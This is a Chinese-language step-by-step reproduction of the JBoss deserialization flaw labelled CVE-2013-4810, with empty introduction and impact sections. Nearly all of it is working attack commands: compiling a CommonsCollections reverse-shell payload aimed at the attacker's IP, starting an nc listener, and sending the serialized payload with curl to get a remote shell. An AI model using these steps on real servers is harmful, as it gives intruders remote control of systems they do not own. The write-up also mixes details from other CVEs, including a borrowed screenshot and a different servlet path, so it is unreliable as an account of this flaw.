（CVE-2013-4810）JBoss EJBInvokerServle 反序列化漏洞
====================================================

一、漏洞简介
------------

二、漏洞影响
------------

三、复现过程
------------

win7一台，ip为172.26.1.151（靶机，安装了java环境）

kali一台，ip为192.168.1.192(攻击机)

输入http://172.26.1.151:8080/invoker/EJBInvokerServle
返回如图（图片是CVE-2015-7501的图片。差不多就是这个意思。凑活看哈\~），说明接口开发，存在反序列化漏洞

![](./resource/(CVE-2013-4810)JBossEJBInvokerServle反序列化漏洞/media/rId24.png)

进入kali攻击机，下载反序列化工具:<https://github.com/ianxtianxt/CVE-2015-7501/>

解压完，进入到这个工具目录 ,执行命令:

    javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

继续执行命令:

    java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.192:4444（IP是攻击机ip,4444是要监听的端口)

新界面开启nc准备接收反弹过来的shell。命令:nc -lvnp 4444

这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件，然后我们curl就能反弹shell了，执行命令:

    curl http://172.26.1.151:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser 

![](./resource/(CVE-2013-4810)JBossEJBInvokerServle反序列化漏洞/media/rId26.png)

打开nc界面，发现shell已经弹回来了

![](./resource/(CVE-2013-4810)JBossEJBInvokerServle反序列化漏洞/media/rId27.png)
